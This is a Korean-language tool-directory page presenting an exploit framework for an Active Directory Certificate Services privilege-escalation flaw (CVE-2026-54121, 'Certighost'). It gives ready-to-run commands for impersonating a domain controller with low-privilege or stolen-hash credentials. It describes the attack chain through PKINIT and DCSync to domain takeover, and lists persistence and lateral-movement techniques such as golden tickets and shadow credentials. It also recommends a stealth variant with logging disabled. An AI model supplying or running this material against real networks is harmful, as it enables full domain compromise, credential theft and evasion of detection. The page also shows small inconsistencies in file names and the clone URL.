Skip to content
KitploitKITPLOIT
๋„๊ตฌ๋ธ”๋กœ๊ทธ
์ œ์ถœ
๋„๊ตฌ๋ธ”๋กœ๊ทธ
์ œ์ถœ

ํ•ดํ‚น, ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋ฐ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ๋„๊ตฌ๋ฅผ ๋‹น์‹ ์˜ ๋ณด์•ˆ ๋ฌด๊ธฐ๊ณ ์—!

Kitploit์€ ํ•ดํ‚น, ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ๋ฐ ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋„๊ตฌ ๋””๋ ‰ํ† ๋ฆฌ์ž…๋‹ˆ๋‹ค. ์ตœ์‹  ํ”„๋กœ์ ํŠธ ์—…๋ฐ์ดํŠธ๋ฅผ ๋ฐœ๊ฒฌํ•˜์—ฌ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ , ์‹œ์Šคํ…œ์„ ๋ถ„์„ํ•˜๊ณ , ํ…Œ์ŠคํŠธ๋ฅผ ์ž๋™ํ™”ํ•˜๊ณ , ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•˜์„ธ์š”.

ยทยทํ”ผ๋“œยท๋ฌธ์˜ยท๊ฐœ์ธ์ •๋ณดยทยฉ 2026 Kitploit

๋„๊ตฌ ๋””๋ ‰ํ† ๋ฆฌ

์นดํ…Œ๊ณ ๋ฆฌ

๋ชจ๋“  ์นดํ…Œ๊ณ ๋ฆฌ ๋ณด๊ธฐ
Loading categories
๋„๊ตฌ/GitHubGitHub/tc4dy/cve-2026-54121-poc-exploit
Authentication & AuthorizationPenetration Testing FrameworksPrivilege EscalationExploit FrameworksExploitationLateral MovementPost-ExploitationPayload Development

์ธ๊ธฐ

๋ชจ๋‘ ๋ณด๊ธฐ โ†’

์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉ๋˜๋Š” ๋„๊ตฌ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.

๋ชจ๋“  ๋„๊ตฌ ํƒ์ƒ‰

๋„๊ตฌ ์ปฌ๋ ‰์…˜์„ ๋‘˜๋Ÿฌ๋ณด์„ธ์š”

๋ชจ๋“  ๋„๊ตฌ ๋ณด๊ธฐ โ†’
๊ณต์œ 
GitHub
tc4dy/cve-2026-54121-poc-exploit

CVE-2026-54121-PoC-Exploit

๐Ÿ‘ป CVE-2026-54121 - ์ตœ๊ณ ์˜ CertiGhost AD CS ๋ฉ€ํ‹ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ํ”„๋ ˆ์ž„์›Œํฌ | ๋กœ๊ทธ DC/LDAP ์„œ๋ฒ„, ์ธ์ฆ์„œ ๋‚จ์šฉ, PKINIT ํ•ด์‹œ ์ถ”์ถœ์„ ๊ฐ–์ถ˜ ๊ณ ๊ธ‰ ํˆดํ‚ท. ๊ธฐ๋Šฅ: ์•ˆ์ „ ์ ๊ฒ€ ๊ฐ์ง€, ์™„์ „ ๋ฉ€ํ‹ฐ์Šค๋ ˆ๋“œ ์ต์Šคํ”Œ๋กœ์ž‡. ๐Ÿ›ก๏ธ CVSS 8.8 ๋†’์Œ - ์œค๋ฆฌ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๊ณ , ํ•ฉ๋ฒ•์ ์œผ๋กœ ์œ ์ง€ํ•˜์„ธ์š”. ๐Ÿ”’

์ €์žฅ์†Œ ๋ณด๊ธฐ
27641๊ฐœ์›” ์ „Kitploit ๊ฒ€ํ†  ์™„๋ฃŒ

CVE-2026-54121

CVE-2026-54121 - AD CS "Certighost" ๊ถŒํ•œ ์ƒ์Šน ํ”„๋ ˆ์ž„์›Œํฌ-ํˆดํ‚ท

CVE-2026-54121 CVSS 8.8 Python 3.6+

Privilege Escalation Identity Impersonation Domain Admin

Active Directory Certificate Services โ€” Certighost โ†’ ๋„๋ฉ”์ธ ์žฅ์•…

์ต์Šคํ”Œ๋กœ์ž‡ ํ”„๋ ˆ์ž„์›Œํฌ ๋ฐ ๊ฐ์‚ฌ ํˆดํ‚ท
๊ณต์ธ๋œ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ์ „์šฉ์ž…๋‹ˆ๋‹ค.

---

โš–๏ธ ๋ฒ•์  ๊ณ ์ง€ ๋ฐ ์ฑ…์ž„ ์žˆ๋Š” ์‚ฌ์šฉ

์ด ๋„๊ตฌ๋Š” ๊ต์œก ๋ฐ ๊ณต์ธ๋œ ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋ชฉ์ ์œผ๋กœ๋งŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ €์ž์™€ ๊ธฐ์—ฌ์ž๋Š” ์ด ์†Œํ”„ํŠธ์›จ์–ด๋กœ ์ธํ•ด ๋ฐœ์ƒํ•˜๋Š” ์˜ค์šฉ์ด๋‚˜ ์†ํ•ด์— ๋Œ€ํ•ด ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ํ…Œ์ŠคํŠธ ์ „์— ๋Œ€์ƒ ์†Œ์œ ์ž๋กœ๋ถ€ํ„ฐ ๋ช…์‹œ์ ์ธ ์„œ๋ฉด ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์•˜๋Š”์ง€ ์ „์ ์œผ๋กœ ์ฑ…์ž„์„ ์ง‘๋‹ˆ๋‹ค. ์Šน์ธ๋˜์ง€ ์•Š์€ ์ปดํ“จํ„ฐ ์‹œ์Šคํ…œ ์ ‘๊ทผ์€ ๊ด€๋ จ ์—ฐ๋ฐฉ, ์ฃผ ๋ฐ ๊ตญ์ œ ์‚ฌ์ด๋ฒ„ ๋ฒ”์ฃ„ ๋ฒ•๋ฅ ์— ๋”ฐ๋ผ ๋ถˆ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๊ท€ํ•˜๋Š” ๋‹ค์Œ ์‚ฌํ•ญ์— ๋™์˜ํ•ฉ๋‹ˆ๋‹ค:

  • ์†Œ์œ ํ•˜๊ฑฐ๋‚˜ ํ…Œ์ŠคํŠธํ•  ๋ช…์‹œ์  ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์€ ์‹œ์Šคํ…œ์—์„œ๋งŒ ์‚ฌ์šฉํ•  ๊ฒƒ.
  • ๋ชจ๋“  ๊ด€๋ จ ์ง€๋ฐฉ, ์ฃผ ๋ฐ ์—ฐ๋ฐฉ ๋ฒ•๋ฅ ์„ ์ค€์ˆ˜ํ•  ๊ฒƒ.
  • ์•…์˜์ , ํŒŒ๊ดด์  ๋˜๋Š” ๋ถˆ๋ฒ• ํ™œ๋™์— ์‚ฌ์šฉํ•˜์ง€ ์•Š์„ ๊ฒƒ.

โš ๏ธ ๊ฒฝ๊ณ : Active Directory ๊ถŒํ•œ ์ƒ์Šน ์ทจ์•ฝ์ ์€ ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ์ธํ”„๋ผ์— ๋†’์€ ์œ„ํ—˜์„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค. ์Šน์ธ๋˜์ง€ ์•Š์€ ํ…Œ์ŠคํŠธ๋Š” ์—„๊ฒฉํžˆ ๊ธˆ์ง€๋ฉ๋‹ˆ๋‹ค.


[+!] ์ทจ์•ฝ์  ๊ฐœ์š”

CVE-2026-54121 (์ฝ”๋“œ๋ช… "Certighost")์€ Microsoft Active Directory Certificate Services (AD CS)์˜ ๊ถŒํ•œ ์ƒ์Šน (EoP) ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์œผ๋กœ ์ธํ•ด ๋‚ฎ์€ ๊ถŒํ•œ์˜ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž๊ฐ€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ๋จธ์‹  ๊ณ„์ •์„ ๊ฐ€์žฅํ•˜๊ณ  ์ธ์ฆ์„œ ์œ„์กฐ๋ฅผ ํ†ตํ•ด ์™„์ „ํ•œ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ์žฅ์•…์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž‘๋™ ๋ฐฉ์‹:

  1. ๋Œ€์ƒ ๊ฒ€์ฆ ์šฐํšŒ: ์ด ์ทจ์•ฝ์ ์€ AD CS๊ฐ€ ์ธ์ฆ์„œ ์š”์ฒญ ๋Œ€์ƒ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๋™์•ˆ ๋ถ€์ ์ ˆํ•œ ๊ถŒํ•œ ๋ถ€์—ฌ ๊ฒ€์‚ฌ(CWE-285)๋กœ ์ธํ•ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  2. ๋กœ๊ทธ ์„œ๋ฒ„ ๋ฆฌ๋””๋ ‰์…˜: ์ธ์ฆ ๊ธฐ๊ด€(CA)์€ ๋Œ€์ƒ์ด ๊ณต์ธ๋œ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์ธ์ง€ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ์„œ๋ฒ„ ๋ฆฌ๋””๋ ‰์…˜ ๋Œ€์ƒ์„ ์ˆ˜๋ฝํ•ฉ๋‹ˆ๋‹ค.
  3. ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ๊ฐ€์žฅ: CA๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„๋ฅผ ์ฟผ๋ฆฌํ•˜๊ณ  ๊ถŒํ•œ ์žˆ๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ID๋กœ ์„œ๋ช…๋œ ์œ ํšจํ•œ ์ปดํ“จํ„ฐ ์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค.
  4. ๋„๋ฉ”์ธ ์žฅ์•… (DCSync): ์œ„์กฐ๋œ DC ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋Š” Kerberos/PKINIT๋ฅผ ํ†ตํ•ด ์ธ์ฆํ•˜์—ฌ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ๊ถŒํ•œ์„ ์–ป๊ณ  DCSync ์ž‘์—…์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์š” ์‚ฌ์‹ค:

๊ฒฝ๊ณ ! ๐ŸŒฌ๏ธ

์ด ์ฝ”๋“œ๋Š” ์‚ฌ์šฉ์ž ์นœํ™”์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์„ ์—ผ๋‘์— ๋‘๊ณ  ์ž‘์„ฑ๋˜์—ˆ์œผ๋ฉฐ ์™„์ „ํžˆ ์ž‘๋™ํ•˜๋ฉฐ ๋ณด์•ˆ, ๊ฐœ์ธ ์ •๋ณด ๋ณดํ˜ธ ๋ฐ ์ตœ์†Œ ๋กœ๊น…์„ ์šฐ์„ ์‹œํ•ฉ๋‹ˆ๋‹ค. Shodan ํ†ตํ•ฉ ๋ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์™„์ „ํžˆ ์ œ๊ฑฐํ•˜๊ณ , ์Šค๋ ˆ๋“œ ํ’€ ๋Œ€์‹  ๋‹จ์ผ ์Šค๋ ˆ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ํฌํŠธ ์Šค์บ” ๋ฐ detect_ip๋ฅผ ์ œ๊ฑฐํ•˜๊ณ , ๋กœ๊น… ๋ฐ ์ถœ๋ ฅ์„ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ด ๋ฒ„์ „์—๋Š” "stealthcert.py" ๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.

CVE-2026-54121 CertiGhost - ๋งค๊ฐœ๋ณ€์ˆ˜ ์ฐธ์กฐ


๐Ÿ“‹ ์ „์ฒด ๋งค๊ฐœ๋ณ€์ˆ˜ ๋ชฉ๋ก

Python ์ต์Šคํ”Œ๋กœ์ž‡ ๋งค๊ฐœ๋ณ€์ˆ˜


stealthcare.py (์•ˆ์ „ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡)


PowerShell ๋ž˜ํผ ๋งค๊ฐœ๋ณ€์ˆ˜

๐Ÿš€ ์‚ฌ์šฉ ์˜ˆ์‹œ

root@kitploit:~
git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements

์˜ˆ์‹œ โ„๏ธ

root@kitploit:~
# LDAP๋ฅผ ํ†ตํ•ด CA๋ฅผ ์ž๋™ ๊ฒ€์ƒ‰ํ•˜๊ณ , ์ž„์‹œ ์ปดํ“จํ„ฐ๋ฅผ ์ƒ์„ฑํ•˜๊ณ , ๋กœ๊ทธ ์„œ๋ฒ„๋ฅผ ์‹คํ–‰ํ•˜๊ณ , cdc ๋ฆฌ๋””๋ ‰์…˜์œผ๋กœ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•˜๊ณ , PKINIT๋ฅผ ํ†ตํ•ด DC์˜ NT ํ•ด์‹œ๋ฅผ ์ถ”์ถœํ•˜๊ณ , ๋„๋ฉ”์ธ ์žฅ์•…์„ ์œ„ํ•ด DCSync๋ฅผ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10

# ํŠน์ • ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC01$)๋ฅผ ๊ฐ€์žฅํ•ฉ๋‹ˆ๋‹ค. ์ •ํ™•ํžˆ ์–ด๋–ค DC๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ• ์ง€ ์•Œ๊ณ  ์žˆ์„ ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ž๋™ ๊ฒ€์ƒ‰์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$

# ๋น„๋ฐ€๋ฒˆํ˜ธ ๋Œ€์‹  NTLM ํ•ด์‹œ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๋ชจ๋ฅด์ง€๋งŒ ํ•ด์‹œ๋ฅผ ์–ป์€ ๊ฒฝ์šฐ์— ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ํ•ด์‹œ ์•ž์˜ ':' = ๋นˆ LM ํ•ด์‹œ
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10

# LDAP CA ๊ฒ€์ƒ‰์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค. ๋ช…์‹œ์ ์œผ๋กœ ์ œ๊ณต๋œ CA IP์™€ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. LDAP๊ฐ€ ์ œํ•œ๋˜๊ฑฐ๋‚˜ CA๊ฐ€ ๋‹ค๋ฅธ ์„œ๋ธŒ๋„ท์— ์žˆ์„ ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"

Powershell (ํƒ์ง€)

root@kitploit:~
# AD CS๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ธฐ๋ณธ LDAP ์ฟผ๋ฆฌ์ž…๋‹ˆ๋‹ค. CA ์ด๋ฆ„๊ณผ DNS๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ์ฝ๊ธฐ ์ „์šฉ์ด๋ฉฐ ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ์— ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ˆ˜ํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect

Python ๋ฐฑ์—”๋“œ ์ต์Šคํ”Œ๋กœ์ž‡

root@kitploit:~
# ๊ธฐ๋ณธ AD CS ํƒ์ง€๋ฅผ ์‹คํ–‰ํ•œ ๋‹ค์Œ ๋ชจ๋“  ๋งค๊ฐœ๋ณ€์ˆ˜์™€ ํ•จ๊ป˜ Python certighost.py๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๊ฐ™์€ ๋””๋ ‰ํ† ๋ฆฌ์— certighost.py๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. NT ํ•ด์‹œ์™€ ccache ํŒŒ์ผ์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$

JSON ์ €์žฅ, ํƒ์ง€ ๋ชจ๋“œ

root@kitploit:~
#ํƒ์ง€๋งŒ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ชจ๋“œ์ž…๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ๋ฅผ JSON ํ˜•์‹์œผ๋กœ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์ž๋™ํ™”, ๋ณด๊ณ  ๋ฐ ๋‹ค๋ฅธ ๋ณด์•ˆ ๋„๊ตฌ์™€์˜ ํ†ตํ•ฉ์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json

๐Ÿง  ๊ธฐ์ˆ  ์‹ฌ์ธต ๋ถ„์„

1. AD CS ๋Œ€์ƒ ๊ฒ€์ฆ ์šฐํšŒ (Certighost)

์ด ์ทจ์•ฝ์ ์€ ์ธ์ฆ์„œ ๋“ฑ๋ก ํ”„๋กœ์„ธ์Šค ์ค‘ Active Directory Certificate Services (AD CS) ๋‚ด์˜ ๋ถ€์ ์ ˆํ•œ ๊ถŒํ•œ ๋ถ€์—ฌ ๋ฐ ๊ฒ€์ฆ ๊ฒ€์‚ฌ(CWE-285)์—์„œ ๋น„๋กฏ๋ฉ๋‹ˆ๋‹ค. ๋‚ฎ์€ ๊ถŒํ•œ์˜ ๋„๋ฉ”์ธ ์ž๊ฒฉ ์ฆ๋ช…์„ ๊ฐ€์ง„ ๊ณต๊ฒฉ์ž๋Š” ๋Œ€์ƒ ๋ฆฌ๋””๋ ‰์…˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ์ธ์ฆ ๊ธฐ๊ด€(CA)์ด ๋กœ๊ทธ ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•ด ID ์ฃผ์žฅ์„ ๊ฒ€์ฆํ•˜๋„๋ก ์†์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ทจ์•ฝํ•œ ์—”๋“œํฌ์ธํŠธ / ์š”์ฒญ ์ปจํ…์ŠคํŠธ:

root@kitploit:~
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded

... (์กฐ์ž‘๋œ target/cdc ๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ํฌํ•จ๋œ ์ธ์ฆ์„œ ์š”์ฒญ ํŽ˜์ด๋กœ๋“œ)

2. ๊ณต๊ฒฉ ๋ฒกํ„ฐ

  • ์ถ”์  ๋Œ€์ƒ ์กฐ์ž‘: ๊ณต๊ฒฉ์ž๋Š” ์ธ์ฆ์„œ ์š”์ฒญ ๋‚ด์˜ ๋Œ€์ƒ ๋ฆฌ๋””๋ ‰์…˜ ๋งค๊ฐœ๋ณ€์ˆ˜(์˜ˆ: cdc / ์ถ”์  ๋Œ€์ƒ)๋ฅผ ์ˆ˜์ •ํ•˜์—ฌ ์ธ์ฆ ๊ธฐ๊ด€(CA)์ด ๊ฒ€์ฆ ํŠธ๋ž˜ํ”ฝ์„ ์ง€์ •๋œ ์—”๋“œํฌ์ธํŠธ๋กœ ๋ผ์šฐํŒ…ํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.

  • ๋กœ๊ทธ ์„œ๋ฒ„ ๋ฆฌ๋””๋ ‰์…˜: ์ธ์ฆ ๊ธฐ๊ด€(CA)์€ ๋Œ€์ƒ์ด ํ•ฉ๋ฒ•์ ์ด๊ณ  ๊ณต์ธ๋œ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์ธ์ง€ ํ™•์ธํ•˜์ง€ ์•Š๊ณ  ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ œ๊ณตํ•œ ๋Œ€์ƒ์— LDAP ๋˜๋Š” SMB ์—ฐ๊ฒฐ์„ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

  • DC ID ์œ„์กฐ ๋ฐ ์ธ์ฆ์„œ ๋ฐœ๊ธ‰: ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋กœ๊ทธ ์„œ๋ฒ„๋Š” ๋Œ€์ƒ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ๊ณ„์ •์„ ๋Œ€์‹ ํ•˜์—ฌ CA๊ฐ€ ๋ฐœํ–‰ํ•œ ๊ฒ€์ฆ ์ฟผ๋ฆฌ์— ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค. ์ด ์‘๋‹ต์— ์˜์กดํ•˜์—ฌ CA๋Š” ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ID๋ฅผ ๋‹ด์€ ์œ ํšจํ•œ ์„œ๋ช…๋œ ์ธ์ฆ์„œ๋ฅผ ๋ฐœ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค.


3. ์‚ฌํ›„ ์ต์Šคํ”Œ๋กœ์ž‡

ํ‹ฐ์ผ“ ๋ถ€์—ฌ ํ‹ฐ์ผ“ (TGT) ํš๋“

ํš๋“ํ•œ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ PKINIT(์ดˆ๊ธฐ ์ธ์ฆ์„ ์œ„ํ•œ ๊ณต๊ฐœ ํ‚ค ์•”ํ˜ธํ™”)๋ฅผ ํ†ตํ•ด Kerberos ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ๋†’์€ ๊ถŒํ•œ์˜ TGT๋ฅผ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.

DCSync ๊ณต๊ฒฉ

๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ ๊ถŒํ•œ์„ ๊ฐ€์ง„ Kerberos ํ‹ฐ์ผ“์„ ์‚ฌ์šฉํ•˜์—ฌ Active Directory ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์˜ ๋ชจ๋“  ๊ณ„์ •(์˜ˆ: krbtgt, Administrator)์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ DCSync ๊ธฐ์ˆ ์„ ํ†ตํ•ด ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

์ง€์†์„ฑ

  • ๊ณจ๋“  ํ‹ฐ์ผ“ ์ƒ์„ฑ: ์ถ”์ถœ๋œ krbtgt ๊ณ„์ • ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•„์š” ์‹œ TGT๋ฅผ ์œ„์กฐํ•ฉ๋‹ˆ๋‹ค.
  • ์„€๋„ ์ž๊ฒฉ ์ฆ๋ช…: ๋Œ€์ƒ ๊ณ„์ •์˜ msDS-KeyCredentialLink ์†์„ฑ์— ์Šน์ธ๋˜์ง€ ์•Š์€ ์ธ์ฆ์„œ ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์ง€์†์ ์ธ ์ ‘๊ทผ์„ ํ™•๋ณดํ•ฉ๋‹ˆ๋‹ค.
  • ์ธ์ฆ์„œ ํ…œํ”Œ๋ฆฟ ์กฐ์ž‘: ํ–ฅํ›„ ๊ถŒํ•œ ์ƒ์Šน์„ ํ—ˆ์šฉํ•˜๋Š” ๋ฐฑ๋„์–ด ๊ตฌ์„ฑ์„ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด AD CS ํ…œํ”Œ๋ฆฟ ๊ถŒํ•œ์„ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค.

์ธก๋ฉด ์ด๋™

  • ๋„๋ฉ”์ธ ์ง€๋ฐฐ: ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์„œ๋ฒ„์™€ ์›Œํฌ์Šคํ…Œ์ด์…˜์— ์™„์ „ํ•œ ๊ถŒํ•œ(SYSTEM / ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž) ์„ธ์…˜์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • ํฌ๋ฆฌ์ŠคํŠธ ๊ฐ„ ํ”ผ๋ฒ—: SID History ๋˜๋Š” TGT ์œ„์ž„ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ์‹ ๋ขฐํ•˜๋Š” ๋„๋ฉ”์ธ(ํฌ๋ฆฌ์ŠคํŠธ ํŠธ๋Ÿฌ์ŠคํŠธ)์œผ๋กœ์˜ ์ด๋™์„ ๋‹ฌ์„ฑํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ“š ์ฐธ๊ณ  ์ž๋ฃŒ

  • NVD - CVE-2026-54121
  • Microsoft ๋ณด์•ˆ ์—…๋ฐ์ดํŠธ ๊ฐ€์ด๋“œ - CVE-2026-54121
  • CERT/CC ์ทจ์•ฝ์  ๋…ธํŠธ
  • MITRE ATT&CK - T1649: ์ธ์ฆ ์ธ์ฆ์„œ ๋„์šฉ ๋˜๋Š” ์œ„์กฐ

๐Ÿ”— ๊ธฐํƒ€ ์ต์Šคํ”Œ๋กœ์ž‡

  • CVE-2026-15409/15410 - SonicWall SMA1000 ๋ฉ€ํ‹ฐ ์ต์Šคํ”Œ๋กœ์ž‡ ํ”„๋ ˆ์ž„์›Œํฌ
  • CVE-2026-6875 - ServiceNow ์‚ฌ์ „ ์ธ์ฆ RCE ์ต์Šคํ”Œ๋กœ์ž‡ ํ”„๋ ˆ์ž„์›Œํฌ
  • CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
  • CVE-2026-57821 - Apache Fineract SQL ์ธ์ ์…˜ ํˆดํ‚ท
  • CVE-2026-41940 - cPanel/WHM ์ธ์ฆ ์šฐํšŒ
๋„๊ตฌ ๋‹ค์šด๋กœ๋“œ
์†์„ฑ๊ฐ’
๐Ÿ“… ๋ฐœ๊ฒฌ / ํŒจ์น˜2026๋…„ 7์›” (Microsoft Patch Tuesday)
โš ๏ธ CVSS ์ ์ˆ˜8.8 (๋†’์Œ)
๐Ÿท๏ธ ์ฝ”๋“œ๋ช…Certighost
๐ŸŽฏ ์˜ํ–ฅ ์ œํ’ˆMicrosoft Active Directory Certificate Services
๐Ÿ”„ ์ˆ˜์ • ๋ฒ„์ „2026๋…„ 7์›” ๋ณด์•ˆ ์—…๋ฐ์ดํŠธ
๐Ÿ”“ ์ธ์ฆ๋‚ฎ์€ ๊ถŒํ•œ ๋„๋ฉ”์ธ ๊ณ„์ •
๐ŸŒ ์˜ํ–ฅ์ „์ฒด Active Directory ๋„๋ฉ”์ธ ์†์ƒ
๋งค๊ฐœ๋ณ€์ˆ˜์„ค๋ช…์˜ˆ์‹œ
-d, --domain๋Œ€์ƒ ๋„๋ฉ”์ธ DNS ์ด๋ฆ„ (ํ•„์ˆ˜)-d playground.local
-u, --username๋‚ฎ์€ ๊ถŒํ•œ ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž (ํ•„์ˆ˜)-u lowpriv
-p, --password์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ-p Password123
-H, --hashesNTLM ํ•ด์‹œ [LM:]NT-H :8846f7eaee8fb117ad06bdd830b7586c
--dc-ip๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ IP (ํ•„์ˆ˜)--dc-ip 192.168.1.10
--ca-ip์ธ์ฆ ๊ธฐ๊ด€ IP (์„ ํƒ)--ca-ip 192.168.1.20
--caCA ์ด๋ฆ„ (์„ค์ •ํ•˜์ง€ ์•Š์œผ๋ฉด ์ž๋™ ๊ฒ€์ƒ‰)--ca "PLAYGROUND-CA"
--listener๋กœ๊ทธ ์„œ๋ฒ„์šฉ ๊ณต๊ฒฉ์ž IP--listener 192.168.1.100
